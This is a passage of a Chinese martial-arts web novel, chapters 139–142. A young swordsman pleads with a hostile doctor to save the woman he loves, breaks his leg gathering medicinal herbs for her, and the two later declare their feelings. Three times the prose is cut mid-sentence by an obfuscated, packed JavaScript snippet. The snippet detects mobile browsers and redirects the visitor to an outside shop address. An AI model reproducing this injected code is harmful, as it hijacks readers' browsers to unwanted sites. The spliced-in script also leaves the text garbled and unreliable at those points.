瑾瑜衣衫已然湿透,每挪动一步,都似有千斤万斤。为了给她遮雨,原本被他背着的紫璇如今已经转到了怀里。可即便如此,山中风急雨大,她的四肢也早已淋湿,水汽正沿着衣服的纹理向内渗透。 林茂站在廊上,看着两人的狼狈模样,脸色铁青。 瑾瑜在雨中跪下,向林茂大声求告:“山中大雨,我们断不能有别的生路了。还求前辈您大发慈悲,救救她!” 思瑶赶过来,把伞向前一倾,尽数遮在二人头上。瑾瑜身子略偏,让紫璇的身体全部留在伞下,自己的后背却不管不顾。 “我说过了,我不会救他。”林茂的声音极冷。 “前辈,您和文门主的恩怨晚辈无权置喙。江湖恩怨,本就错综复杂……” “江湖恩怨?!我和文远骥的恩怨岂是寻常的江湖仇杀?杀父之仇、夺妻之恨,其实你一句轻描淡写的‘错综复杂’就能抹去?!此生若不报此仇,枉自为人!” “可是这与紫璇有什么相干?上一辈的恩怨远在她出生之前,她既非罪魁祸首,也不可能是任何人的帮凶。抛开她的身份,她也只是个伤重不支、走头无路的女子,您身为医者,怎么能见死不救?!” “身份既然有了,就不可能抛开。她是文远骥的女儿,自然要为她爹的过错付出代价!” 只要提到文远骥,林茂的怒火就会立时蹿高,瑾瑜定了定神,马上换了另一条路径:“前辈要报仇,就不能意气用事。而要多动脑子,抢占先机。” 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659173|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茂眯起眼睛:“什么意思?” “前辈细想,救她对前辈您并无半点害处,反而有大大的好处。” “好处?”林茂不禁冷笑。 “不错。报仇雪恨虽然不犯江湖忌讳,可总归要引人指摘。若前辈肯救仇人的女儿,不正说明您坦坦荡荡,是武林中难得的大丈夫,天下英雄得知,必定会交口称赞,于您日后报仇定然大有助益。晚辈离得此间,也必定将前辈事迹大肆宣扬,让世人皆知,此其一。” “哼,我不在乎什么江湖名声,你说的这些还打动不了我!” 瑾瑜不为所动,继续道:“其二,报仇者,取人性命为一道,羞辱对手也是一种办法。您救了文门主落难的女儿,日后相见,文门主不得不先谢过你的恩德,这不正好大大地羞辱了他?这样做岂不比简单的杀戮更为痛快?” 这句话起了效果,林茂的脸色好看了一分,瑾瑜心中略松。 “其三,据晚辈所知,紫璇虽是女流,武功却是不弱,甚至强过如今武林中许多成名好手。如果他日前辈果真要和文门主兵刃相见,她感念您的救命之恩,虽不至于帮你对付父亲,至少不会成为您的敌人。这样您的胜算就又多了几分。” “哼!她一个小娃娃,武功能好到哪里去?” “她一个人对付得了‘辽东双霸’、‘黑白双煞’,还有“流星摆尾”戴均,也曾在数招之内就让‘铁砂射影’赵绪良成擒,晚辈亲眼所见,不敢有半分夸张。” 果然是令人惊讶的成绩,林茂怎可能轻易相信:“她不过是个十六七岁,还是个女孩,怎么会有这样的本事?” “据晚辈所知,紫璇自小就练功勤谨,不曾有半分懈怠。她如今受了伤,无法自证,等你医好了她,自然可知晚辈所言句句属实。” 林茂哼了一声:“文远骥野心不小,可见一斑。”又问,“就这些?” 瑾瑜咬咬牙,继续说道:“晚辈虽不才,但只要您能救救紫璇,让她活下来,我愿意供您驱使。只要不是有违人伦纲常之事,晚辈必当为前辈赴汤蹈火,在所不辞。” “小伙子,她是你的妻子?” “我虽有意,可实在配不上她。” “那你还甘愿为了她舍弃自己?” “爱与不爱都是我自己的事。天下并没有我喜欢她,她就必须喜欢我的道理,也没有她不喜欢我,我就要将她弃如敝履的说法。” “可是你这样为她,她就算活了过来也可以翻脸不认,你的牺牲得不到半点回馈。” “那又怎样?我只做我想做的事,并不求有什么结果,”瑾瑜抬起头,眼中的坚定似能透过雨幕直抵林茂,“不知道前辈是否有过心爱之人?是否能够体会晚辈此刻的心境?她喜不喜欢根本不重要,我只希望她活着。” 思瑶静静地听着,虽然对男女之情懵懵懂懂,却也被他的话感动了。林茂也没有说话,仿佛在咀嚼瑾瑜方才吐露的情愫。想当年,自己也是这样抱着发病的晗月跪在许淑平门外,也曾低声下气地请求许淑平救她…… 时间流逝,越来越大的雨势伴随着轰隆隆的雷声,反复提醒着僵持中的三人,紫璇的时间不多了。 思瑶被一道闷雷惊醒,鼓起勇气向林茂大喊:“爹爹,快救人吧。她恐怕要撑不住了。” 林茂也恍然一惊:“傻子!还愣着干什么,还不快把她送到药庐去!” 140. 考验(二) “瑶儿,去生个火盆来,要旺些,不要放在床下,就立在墙角处。再去拿身干净衣裳,给她换上。去,快去。” 思瑶答应着往另个方向去了。瑾瑜把紫璇放到不久前才躺过那张床铺上,心下感概,倏忽几个时辰而已,却好像过了几个月那样煎熬。 紫璇的脸烧得通红,高热的症状十分明显,身子也因为不舒服而不住地扭动。林茂搭住紫璇脉搏,神色幽深。 瑾瑜知道医者断症之时,不喜旁人打扰,便不言语。等到林茂放下紫璇的手腕才急道:“怎么样,她还好吗?” “内伤颇重,但顷刻间不会致命。再加上此前瑶儿给她服下的药汤,这口气还吊得住。疗伤倒不急在这一时。 “那就太好了!” “好什么!她的寒症被激起,随时都会要命!” “都怪我,昨天被追兵尾随,慌乱间并无去路,竟然忘记紫璇有寒症,就跳到湖里去了。” “你是从西面山崖上跳下来的?” “对。当时追兵甚急,我实在是……” “西面一带都是悬崖深谷,从上面下来殊为不易。跳湖是最好的法子,你不用自责。”林茂接着说,“眼下最要紧的是褪去高热,她烧得这样利害,今夜之内如果不能退烧,怕是大大的不妙。不过,她的运气实在不好,偏偏这个时候发病。” “怎么了?您治不了?” “胡说!老夫行医多年,连个热都褪不了成何体统!”林茂骂道,“这个时节正是诸般寒邪之症高发的时候。这些天来求医问药的人太多,我的库存早就不足了。今日上山本就是为了采摘有助于退热的草药,刚采了几株就被大雨阻断。这不是她运气不好,还能是什么?” 瑾瑜不敢反驳,只好问:“草药不够用吗?那怎么办?” 林茂打量了他一下,突然发问:“你既然能从那么高的悬崖上跳下却不至坠入湖底被石头撞死,想必轻功还可以?” “晚辈身无所长,只轻功还算不赖。”瑾瑜马上明白林茂所指:“前辈要我去采药?” 林茂点头:“此药往往长于悬崖峭壁的缝隙,一般的日子尚且采摘不易,如今谷中大雨,半山说不定还有雪珠,采药可是危险得很啊。” “我小心些便是了,还请前辈就此药何种形貌、长在何处、如何采摘细细说与晚辈知道。” 林茂颔首,颇有赞许之意。 ******************* 雨势甚急,雨滴打在石头上发出噼啪的声响。瑾瑜披着蓑衣、背着药篓,行动本就十分不便,再加上天黑路滑,虽然心急如焚,却行地十分缓慢。 据林茂指点,此药在北面一座山峰之中生长的甚为茂密。瑾瑜攀援良久,终于到达此处。这种药有祛风散热的功效,往往长在半山的峭壁缝隙之间,立根极深,不好采摘,偏偏这缝隙中的根茎才是入药最佳的部分,故而采摘之时,不能用刀斩断,而必须用腕力慢慢让植株的根部松动,将其连根拔起。 瑾瑜沿着山路而上,一边小心踩实地面,一面在伞下举着火折子到处张望。不远处生长着一丛植株,遥遥可辨其轮廓和林茂描述相符。瑾瑜凑近一些细看,确认这正是自己所需的药草,而且极其幸运的是从自己立足之处到药草生长之处,有一点突出的岩石,可容纳一人通过,仿佛的是天然的一段通路。 但岩石上青苔湿滑,又有一层薄冰,一个不小心怕会失足掉落,如此以来这药就采不到了。瑾瑜又四处张望了一下,发现在峭壁之上,多有横生出来的树杈,便将伞放置一边,从篓中拿出绳索,挑了一株较粗壮的树干抛了上去,等垂下来又将绳索绕了两次,最后在中间系了个结。稍微拉扯一下,树干纹丝不动,还算结实。接着他把剩下的半截绳索绑在自己身上,背起药篓,面朝里,紧贴着峭壁慢慢朝着草药所在的方位挪了过去。 采了半响,瑾瑜已是大汗淋漓,冷汗冷雨和在一处,黏在脊背上,寒气像是从身体里发出来,连带着他的手脚也开始不那么灵活。他朝后望一下药篓,采好的草药似乎远远不够,再看身边,剩下的都是些杂草,唯有稍远处还有一丛药草,且长势喜人,看上去比刚才采的还要高大些。 可是脚下的岩石已经到头,不能再往前挪动半分,唯一的办法是趴在岩石上伸长手臂去够。瑾瑜马上蹲下来,慎重地扒住岩石,稍稍向前挪动身体,然后探出手臂去抓。 不料,他刚刚抓住药草还没用力,身子打滑,腿脚又使不上力,一下子便侧着深思坠了下去,瑾瑜清楚地听得“咔嚓”一声,像是什么东西断了,然后就疼晕了。 也不知过去了多久,瑾瑜醒转时四周依然是漆黑一片。雨已经停了,蓑衣下的衣服已然湿透,身子僵硬地像一根冰柱。他忍着右腿传来的剧痛,先捏了捏右手,药草还在;又努力扭着脖子探看了一下药篓,幸好药篓够深,里面的药草也没有抛洒出来。 眼下他的全副身体都悬在半空中,全靠先前系在树干上的绳索悬着。头顶之上就是方才自己立足的那块岩石,他瞧见岩石外侧有几处凹凸,想到或许可以借此攀援而上。只是现在自己断了一条腿,仅靠左脚和手臂的力量,不知道能不能支持得住。 “紫璇命悬一线,如果不能尽早把药拿回去,恐怕,恐怕……”瑾瑜并不敢往下去想,只好先暂时集中精神,深吸一口气,开始沿着岩壁攀援。石头滑不溜手,他刚才攀上一点,右腿剧痛,手跟着一松,人又掉了下去。如此反复几次,他非但没有看到攀上去的希望,反而因为岩石尖锐,手上、身上又添了许多伤口。可他没有丝毫松懈的余地,掉下来一次就继续原路攀上,心里只有一个念头:“一定要上去!” 就在此时,上方传来一个男子的声音:“有……有人吗?你……你在哪儿??” 是来找他的!瑾瑜心中顿时有了希望,立马应了一声。那人听见动静,立马往这边行来:“你在哪里?” “我不小心从上面掉了下来。现在被绳子系着,你看到上面树干上栓的绳子了没?” 来人找到绳索所在,顺着往下看,终于发现了瑾瑜。 借着稍稍发白的天色,瑾瑜看清来人正是早些时候被他挟持过的那位“阿力哥”。 “阿力哥,你来得太好了,我在下面怎么使劲都爬上不去,快急死了。” 阿力是个实诚汉子,没有二话,立刻拉住绳子,试图把人拉上来,可绳子被雨浸湿后也结了冰,阿力使不上劲,还怕绳索扯得紧了被岩石的边缘磨断,只好暂时放手,向瑾瑜道:“我拉不上来。” 想起还等着用药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666948|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的紫璇,瑾瑜忙道:“我不要紧,那位姑娘等着这些药草,你能不能先把药蒌带回去给林大夫?” “那怎么行?你就系在这么一株小树上,不知道什么时候就会断,这可太危险了。” 瑾瑜还想要催促,另一边崖上的阿力却已经想到了办法。 “我知道怎么办了,你等着。” 然后,他便找了近处另一株较为结实的树干,把自己带来的绳子绕过它,然后将一头系在自己腰里,另一头扔下崖边。 “诶!接着绳子!把绳子缠在腰里,系紧一些!” 瑾瑜依言照办。等他系好,阿力便从树干开始慢慢往后退。瑾瑜也再次摸索起岩石上的各处凸起,借着绳索的拉力,缓缓攀到了岩石的边缘。 阿力见到他露出头来,高兴地喊叫了几声,继而转起圈,将多余的绳索缠在自己身上。等到瑾瑜扒住地面,他立刻奔过去将他拉到崖上。此时,他才发掘瑾瑜的右腿受了伤,完全动不了。 方才一番用力,瑾瑜的右腿更加血流不止,此时不敢喊疼,只好带着安慰的笑说道:“不妨事,我就是腿碰上石头,摔断了。” 阿力看了他一眼,手足无措,不知道该先做哪一件事。 瑾瑜喘着气,将背上背篓取下猛塞到他怀里:“不要管我,快把药蒌拿去给林大夫!” 阿力顿了一顿,下一刻仿佛被他的焦急传染,立刻抱起背篓匆匆跑走了。 采药耽搁了不少时间,不知道她还好吗?应该……应该不会有事吧。山上寒风瑟瑟,周围又静谧无声。好不容易暖起来的身体很快又冻僵了,相比之下瑾瑜的头脑却极端活跃,不受控制地担心起紫璇的安危。 又过了许久,远处传来思瑶的声音。已经开始恍惚的瑾瑜凭本能应了一声。思瑶循着声音找来,身上挂着一个小药包,手里擎着一把雨伞。 “你的腿断了!”思瑶借着泛白的天光瞧着他受伤的右腿,惊呼道。 瑾瑜却没有理会她的话,而是问道:“你怎么来了?紫璇呢?她怎么样?” “你不疼吗?你的骨头都凸出来了!”思瑶的注意力还在他的腿上。 “先别管它!你先告诉我紫璇怎么样了?她的烧退了吗?人醒过来没有?” 惊惶的声调终于引起了思瑶的注意,她蹙着眉说道:“药草一到,爹爹就开始配药,现在已经给那位姐姐服下去了,能不能退烧得等到天亮才知道。爹爹说,只要天亮前能先把烧退了,后面的事儿都好说。” 思瑶从随身的药包中取出一个小瓶,将他右腿上已经破的不成样子的布料一把撕掉,然后在伤处撒上药粉。 “反倒是你,断了一条腿要养好久呢。要不是阿力哥来找你,你准备怎么办?” 瑾瑜没有答话。 敷好药,思瑶取出干净的布条给他包扎。她虽然还是孩子,但手脚极其麻利,和训练有素的医者不相上下。这之后她又去找了四根生得笔直的树枝,双手用力试了试软硬,叫瑾瑜千万别动,继而把树枝放在他腿两侧,用布条扎紧。 稍一用力,瑾瑜便汗如雨下,痛不可支。 “别动,否则腿长好了也会瘸的!”思瑶一边冷静叮嘱,一边猛地将缠住树枝的布条收紧,瑾瑜再也支持不住,剧痛之后便晕了过去。 141. 确认(一) 瑾瑜的眼睛发涩,眼睑紧紧包裹着眼珠,怎么也睁不开,混沌中还在回味一个美好的梦境。 梦里有个女子坐在床头,泪眼婆娑地望着他,像是娘,又像是紫璇。瑾瑜终于能睁开眼睛时,心中的喜悦都还未散去,而此刻床前确实有一个女子在看她,只不过这个人身量尚小,根本不是紫璇。 “你终于醒啦!我去叫爹爹来瞧你!”思瑶惊喜得交流一声,然后便跑出门去。 瑾瑜脑子发懵,不知道为什么自己躺在床上?紫璇又在哪里?紫璇!他心中一惊,下一刻就要翻身下床,然而光是坐起来就让他疼得汗如雨下,人也倒在了床上。还想再试时思瑶已经进来,她匆匆两步,把他扶起来,然后急道:“你要做什么?” “紫璇怎么样了?我……” 还没等他说完,林茂也出现了,手里还端着一个碗,看到这幅情形,狠狠瞪了他一眼:“先管好你自己!那个小姑娘好着呢。” 悬着的心稍稍放下,瑾瑜方才道:“多谢前辈。” “还算你运气好,只是骨头断了,经脉没有受损,否则再好的药也救你不得。你要是下半生变成了瘸子,人家更加看不上你。” “我……”瑾瑜神色微窘。 林茂才不管他是不是不好意思,将碗塞到他手上:“快把这碗药喝了,再让瑶儿给你上药。记住了,没有我的允许不准下床,除非你这腿不想要了。”说罢就径直出门去了,和那一晚冷冰冰凶巴巴的样子没有两样。 瑾瑜仰脖将药喝尽,又向思瑶问道:“好姑娘,快跟我说说紫璇到底怎么样了?” “紫璇姐姐服了药没多久就退了热,之后爹爹每日给她疗伤,现下已经好了许多了,身子虽然虚弱,性命是无碍的。倒是你,昏迷得比她还要久呢。” “是吗?我睡了几日了?” “你还说呢。阿力哥他们几个把你抬回来的时候你也烧得厉害,嘴里面说着胡话……可吓人了。” 瑾瑜却笑了起来:“我现在不是很好。” “那还不是因为我爹爹妙手回春,否则你不脱一层皮才怪呢!” “前辈的大恩大德,晚辈当真感激不尽。” “你只谢爹爹吗,我也出了不少力呢。”思瑶调皮道。 “思瑶姑娘从头至尾的恩情,我一点儿也不敢忘。” 思瑶咧开嘴笑道:“这还差不多。”又道,“紫璇姐姐已经能够下床走动了,爹爹也嘱咐她让她每日活动一会儿,更有利于身体恢复。只是她身子虚,每天能动的时辰有限,大部分时候仍是呆在房里。” 瑾瑜灵光一动,问道:“那她……她来看过我吗。” 思瑶摇了摇头:“没有。我陪她的时候也和她说了你的伤势,她却什么都没回应,也不说来看看你。” “看不看我有什么要紧……” 虽然嘴上这么说,瑾瑜心里却不免有些失望,刚刚醒来时的那种朦胧的喜悦也消失得无影无踪了。 时间倏忽而过,瑾瑜的腿渐渐康复,如今已经可以下地走动了。偶尔拄着拐杖在院子里散心的时候,也和紫璇打过几次照面,一般都是紫璇在一旁练功,他在一旁默默看着,两下里并没有多少交流。 每当看到瑾瑜的眼神,思瑶都好心地问他要不要帮忙把紫璇叫过来,他也只是摇摇头,示意她不要多事。反倒是紫璇,有一回看到他坐在檐下,过来问了几句他的伤势,然后对他说:“你先好好养伤,等你好了,我有话对你说。” 紫璇说话时没有像往常一样故意避开他的眼睛,语气很坚决,好似下了某种决心。可她的表情……为何看上去那么悲伤呢? 卧床养伤的时日,瑾瑜曾反复忆起二人遭袭前紫璇埋首在他怀中哭泣的情形,胸膛上温热的触感、痉挛似的手臂和怦怦跳动的心脏都仿佛和当时一样。他也曾大胆想过,或许紫璇改变了心意,所以才愿意亲近他。可转念一想,人在脆弱难过之时都会想要依靠他人,只不过当时他正好在她身旁罢了。 紫璇要对他说什么?极有可能就是他害怕的同时又有些许期待的那个答案。瑾瑜很清楚,虽然他极力克制,却还是在无数个瞬间泄露出他对紫璇的倾慕和在意。紫璇那样聪慧,不可能没有一丝察觉。这一次两人又一同出生入死,共历磨难,或许她现在愿意接受他了? 但这种想法过于美好,刚一出现就被他嗯了下去。毕竟,不管是武艺还是智谋,抑或是家世、心姓,自己都不如她。江珺翊那样的人物才勉强算得上她的良配。紫璇放着青梅竹马又一表人才的师兄不要,做什么要喜欢他,他又能为她带来什么? 夜晚辗转反侧,他回想起这几日脑子里乱七八糟的想法,不仅又气又笑:方瑾瑜啊方瑾瑜,枉你天天吧只求随心、不问结果挂在嘴上,实际上不还是在意自己的付出有没有得到回应?她喜欢你不喜欢你又如何?你忘了陆大哥说的话了? 道理明白,可做起来就是另一回事。这样的患得患失一直持续着,弄得瑾瑜又想快些好起来,又担心那一天的到来。 ******************** 林茂给瑾瑜诊了脉,又看了他腿上的伤,道:“骨头接得好,皮肉也长得不错,坚持用我的膏药保你不瘸。但你的身子还有些发虚,比起用药来,吃些滋补的药膳效果更好。正好我和瑶儿劳累了这些日子,也要补一补。你就去抓几只白鹄来吧。” 瑾瑜愣了一会儿方才意识到,林茂口中的这个“你”说的是他。 “怎么,老夫仁慈,可以不要你的诊金,但是你们在这里白吃白喝说不过去吧。抓个白鹄,难道要让我这个老人家去吗?” 瑾瑜忙答了几个“是”字。 林茂依然板着脸:“走一走对你好处大着呢。谷中温暖,碧渊湖一代,哦,就是你们掉下来那个湖,常有白鹄飞下来过冬。你去抓几只来。” 瑾瑜又答了几个“是”字。 “那个丫头成日里闲着无聊,叫她陪你一起去。两个人一次多抓几只回来,慢慢吃。” 瑾瑜的心揪了一下,慢慢地答了个“是”。 两人一前一后,默默穿行在两排树木中间,已经可以看到不远处的湖面。 瑾瑜跟在紫璇身后,一面走,一面想,她在想什么?为什么不说话?结果心不在焉,踩到了一块鸡蛋大的石头,脚下一滑,差点儿摔倒。 紫璇听到动静,急忙回头,伸手将他扶住。 “你没事吧?”紫璇神色紧张,显然是怕他断了腿之后走路还有妨碍。 瑾瑜尚未回答,她已扶着她做到近处的一块大石上,然后盯着他右腿,问道:“是不是腿还不太舒服?疼吗?” “林前辈妙手回春,腿已经好得差不多了。” 这些日子来,他还是第一次和紫璇离得这么近,第一次听见她的声音,第一次看到她为他着急的面容。 紫璇攥着他的手,察觉到了他因为采药而产生的无数道细小伤口。伤口已经愈合,只是摸上去还有凹凸不平的伤痕。她情不自禁得婆娑起这些伤口,在她意识到之前话便已经出口:“还疼吗?” “只是踩到石子儿闪了一下,不要紧的。”瑾瑜以为她问的还是刚才的事。 紫璇回过神来,随即转身坐到了大石的另一边。 “这次是我连累了你,若不是和我在一起,你也不至于受这样的苦。” 瑾瑜立刻转过身子:“不能这样讲,你为了护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678098|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着我,也受了很多伤。” “在湖州你家里,你父亲曾同我说,若许你和我搅在一起,只会有无穷的危险。从一开始,他们的目标就是我,无论是济源小店中还是贺家庄外,那些人都毫不犹豫地想要了你的性命。如果你远离我,这些危险本不会靠近你。” “所以呢,你想说什么?”瑾瑜有些生气,她这是要用新的理由来拒绝他了么? “你不害怕吗?可能下一次我们就没有这么幸运了。” “我虽然本事一般,却也不是那等贪生怕死之辈。” “可是你本来可以高枕无忧的……” “难道我就能眼睁睁看着你独自面对危险而无动于衷吗?”瑾瑜打断她,“我只恨自己能力有限,不能帮你多分担一些。” 紫璇嘴巴半张,顿了顿才道:“其实……你帮了我很多,我一直都很感谢你。” “你不用特意说假话来安慰我。”瑾瑜低头苦笑。 “不,我说的是真话。你比我的家人朋友更懂我在想什么,也总能第一时间察觉我的难过,安慰我……还有,你的功夫近来大有长进,已经帮了我不少……而且,有人陪着共同面对,我也会没那么害怕……” 紫璇每说一句,瑾瑜原本沉下去的心就浮起来一点,到了最后,抑制不住的喜悦拉着他起身,引着他来到了紫璇面前。 “你……”他欲言又止,紧张到手心都出汗了。 紫璇像是下定了决心,抬起头,对上他的满含期待的眼睛:“若我不能许你我的未来,你还愿意和我在一起吗?” “为什么?”瑾瑜原本翘起的嘴角马上被拉平。 “你先回答我。” “我会想办法争取……” “如果这件事无法争取呢?” 瑾瑜原以为,紫璇的意思是她的婚事自己做不了主,甚至她可能已经和江珺翊定了亲事,如果是这样他会去求文远骥,他愿意答应任何条件。可是看紫璇的神情,似乎横亘在他们之间的阻碍远比这些要更加严峻。 他深吸了一口气,以不容置疑的口吻道:“两情若是久长时,又岂在朝朝暮暮?两情相悦之人,哪怕只能在一起一天、一个时辰,也只会满心欢喜。与我而言,如果你喜欢我,我只会求之不得,至于这份喜欢会持续多久,是不是会被其他因素打断,我控制不了,也不想为此烦恼。” 紫璇眼圈泛红,嘴角也肉眼可见的弯了。她站起来背对着瑾瑜,抑制住些许激动,尽可能平静道:“我的寒症比我娘还要重上些许,若不是这些年姥姥为我殚精竭虑,我恐怕都活不到现在。我娘在二十五岁上便已病入膏肓,命不久矣。我大概也只能活到那个时候。” 她转过身来,再次和瑾瑜面对面:“即便如此,你也愿意吗?” “怎么会……”瑾瑜讶异到说不出话来,脸上全是难以置信的表情。 紫璇也不催他,坦然望向瑾瑜,静静地等待着他最终的答案。 最初的惊讶褪去,瑾瑜心疼地看着仍在故作坚强的紫璇,他的眼睛也不禁变得湿润:“为何不愿,如此宝贵的时间你都愿意交托给我,我只会更加珍惜。” 四目隔着泪花相对,紫璇再也不想忍耐,脚步一松,扑到了瑾瑜怀里。 瑾瑜很是花了一番力气才让自己站稳,手慢慢抬起,小心翼翼地拥住紫璇。 “还有七八年时间,世间圣手何其多,又有诸般神异之术,我不信找不到医治你的办法。就算……就算你真的会先我而去,也不妨碍我爱你敬你。如果时间有限,那我们就好好把握当下,把每一天都当成是彼此最珍贵的一天来度过。” 紫璇没有说话,但瑾瑜明显感到她抱着自己的手臂更紧了些。 142. 确认(二) 两个人分开时,紫璇眼角兀自挂着晶莹的泪珠。这一回,瑾瑜终于能够大大方方地地为她拭去眼泪。屈起的手指触及紫璇略微发烫的脸颊,两个人都不由自主地顿了一下,瑾瑜的目光凝滞在紫璇的脸上,须臾没有离开。 紫璇还不太适应如此亲昵的相处,忙伸手揉着自己的眼睛,用少见的娇嗔口吻道:“我的眼睛是不是肿得厉害?”然后便撇下呆立的瑾瑜,快步走到湖边去照水。瑾瑜也终于呼出刚才屏住的那口气,垂下僵硬的手,顺便也压下了适才的一点绮念。 他来到湖边时,紫璇正好转过身来,指着又红又肿的双眼:“要是让林大夫和思瑶妹妹瞧见我这副样子,指定要嘲笑我。我们在这里呆一会儿,不急着回去好不好。” 瑾瑜求之不得,立马找了一块干净的地方和紫璇一道坐下。湖面上不时有白鹄飞过,岸边也有些许绿植,平常的精致看在瑾瑜眼里竟然多了几分妩媚的韵致。“我一定是高兴疯了。”他在心里默默地想。 “在想什么?”紫璇见他突然没了声响,嘴角还有一丝淡淡的笑容,好奇道。 “我以后可以叫你‘璇儿’吗?”瑾瑜马上想起这个他早就想问的话题。 “你想怎们叫都行。” 瑾瑜满足的点着头,换了不同的声调叫了好几遍“璇儿”。紫璇被他闹得实在受不了,忙道:“好了好了,我们去抓这些水鸟吧。” 两人各自抓了一把石子儿,紫璇告诉瑾瑜一些抛掷暗器的手法,他学得极快,没一会儿就打中了几只在湖边草丛中觅食的白鹄,紫璇也捕获了不少。 两人把准备带回去的白鹄捆缚好堆在脚边,仍旧坐下来。 “山阴县从会稽山往北有一湾东湖,真真是湖光山色、美不胜收。即便是在冬日里,也有人泛舟湖上,赏那寒梅胜雪的美景。以后我们一起去看看?” 说起江南精致来瑾瑜滔滔不绝,紫璇顺着他的话想象着二人四季同游的画面,连日来的紧张、焦虑还有不快一扫而空。 两人又说了许多话,原来瑾瑜朦胧中所见的在他病榻边哭泣的女子真是紫璇。那时她身子刚有起色,听思瑶说瑾瑜为了给她采药摔断了腿,还发着高烧,特地在无人时去看他。也就是在那个时候,她才下定决心要把真相告诉瑾瑜,让他自己来选择。 “那你之后怎么不来看我?”瑾瑜眼角含笑,看着她问道。 “我……”紫璇咬了咬下唇,“我想等你身子痊愈了再问,以免……” “不管你何时问我,我的答案都只有一个。” 瑾瑜的眼神滚烫,紫璇只能受得住一小会儿,然后就得借故瞧着别处。瑾瑜从没料想过紫璇会因他而出现这般羞怯的模样。即便她背过身子,他只能瞧见她红彤彤的耳垂,他都觉得美不胜收。 等到他终于从兴奋中冷静些许,林茂狰狞咆哮的面容才闯了进来。紫璇当时昏迷不醒,对这些尚不清楚。从她刚刚提起林茂时的神情来看,似乎之后林茂也未曾向她提过这件事。 瑾瑜稍稍坐正:“璇儿,我也有事要和你说。” 听罢他的叙述,紫璇摸着自己颈中仍如原样般佩戴的玉佩:“武林之中谁没有大大小小的仇家。我爹身居门主之位,天魄门又多番动荡,若论起仇人来,肯定不会少。” “林茂当时咬牙切齿,说他和文门主有‘杀父之仇、夺妻之恨’。” “这怎么可能,‘杀父之仇’倒还好说,可是我爹从来不近女色,我娘离世之后也不曾再娶,这‘夺妻之恨’从何谈起?” 话音刚落,紫璇立即想到还有一种可能,但是说什么她也不愿意相信,只喃喃地念着:“不可能,怎么可能呢。” 瑾瑜看她略带惊惶的神色,忙问怎么了。紫璇轻轻摇头,并不想把自己的毫无根据的猜测告诉他。 瑾瑜不明所以,只好先握住她的手,安抚她道:“事实究竟如何,光靠猜肯定不行。若你觉得有必要知道,那接下来几天,咱们想办法打探一下,如何?” 紫璇下意识地点头,还是无法制止刚才的那个念头。 “先别烦恼了。”瑾瑜拿手在她眼前晃了晃,唤起她的注意,“天色不早,我们早点吧白鹄带回去吧。要是回去得晚了,这位‘前辈’报不报仇不好说,一顿骂可是少不了的。” 紫璇笑了笑,开始和他一起收拾起来。 ******************** 林茂的居所建在在一处山谷之中,周围群山环绕。西面是紫璇和瑾瑜跳下来的那面崖壁,极高极大,如同一堵天然的城墙。从这个崖壁向两侧延展,便是无数起伏绵延的群山,与另一面的高山相互交合,只在东南角上露出一处峡谷。遇到大雾时节,山中雨雾自顶部倾泻下来,诸峰就只能露出头来。 西面的大崖壁阻挡住了来自西北的寒气,使得这里即便在冬日里也较为温暖,再加上湖水滋养生灵,这处与世隔绝的山谷竟也能养一方人。 最初的山民们在这里安家落户、繁衍生息,渐渐成了一个不大不小的群落。林茂虽然脾气差,却是这里唯一的大夫,而且对于诊金也往往能免就免,山民们得了他的恩惠,也总是把自家种的菜蔬、采集到的山货或是猎到的猎物分给他。 最近这段日子正是一年中最为干燥寒冷的时节,来找林茂瞧病的人络绎不绝,以至于他一天好几个时辰都在外厢。幸得紫璇和瑾瑜的身体已经好转,只需每天按时用药,稍加练功来恢复体力即可,并不需要他时刻守在身边。 有时候前面忙不过来,紫璇和瑾瑜也会帮思瑶做些拾掇药材或料理病人的工作,一来二去,和这里的山民也混熟了。最近正是男人们上山打猎,储备年货的时候,瑾瑜也帮忙打过几回。大力哥是这里猎户的头儿,看到瑾瑜身手不凡,甚是喜欢,因此把瑾瑜胁迫过他的“恩怨”也一笔勾销了。 这一日,晌午看病的人已经散去,瑾瑜正在廊下帮思瑶一起翻晒草药,两个人随意闲聊,就说到了林茂。 “我爹爹虽然脾气古怪了一些,可心是好的。上次,大虎哥的妻子阿芳姐姐怀孕,但是她身体不好,怀到六七个月上就有点吃不消了。爹去瞧了,当着人家的面直接说孩子保不住,把一家子吓得什么似的。大虎哥是家里的独生子,阿芳姐好多年才怀上孩子,哭着喊着让爹爹救救他未出世的孩子。你猜爹爹说什么?” 断不是什么安慰的话,瑾瑜想,然后道:“估计是告诉他们,救不了的理由。” 